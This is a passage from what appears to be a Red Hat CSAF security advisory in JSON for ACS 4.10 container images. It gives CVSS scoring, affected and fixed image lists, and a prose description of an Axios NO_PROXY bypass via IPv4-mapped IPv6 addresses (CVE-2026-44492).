"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Denial of Service due to unenforced request and response size limits"
},
{
"cve": "CVE-2026-44492",
"cwe": {
"id": "CWE-289",
"name": "Authentication Bypass by Alternate Name"
},
"discovery_date": "2026-06-11T17:00:56.761751+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487938"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not properly normalize IPv4-mapped IPv6 addresses. When a NO_PROXY setting is configured to block direct access to specific IPv4 addresses, an attacker can bypass this restriction by using the IPv4-mapped IPv6 form of the address in a request URL. This allows the request to be routed through the proxy, potentially exposing internal services or sensitive information that should otherwise be inaccessible.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw in Axios, a JavaScript HTTP client library, that allows for a proxy bypass. When a `NO_PROXY` environment variable is configured to prevent direct connections to specific IPv4 addresses, an attacker can craft a request URL using the IPv4-mapped IPv6 address format. This bypasses the intended `NO_PROXY` exclusion, routing the request through the configured proxy and potentially exposing internal services or sensitive information, such as cloud instance metadata credentials.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
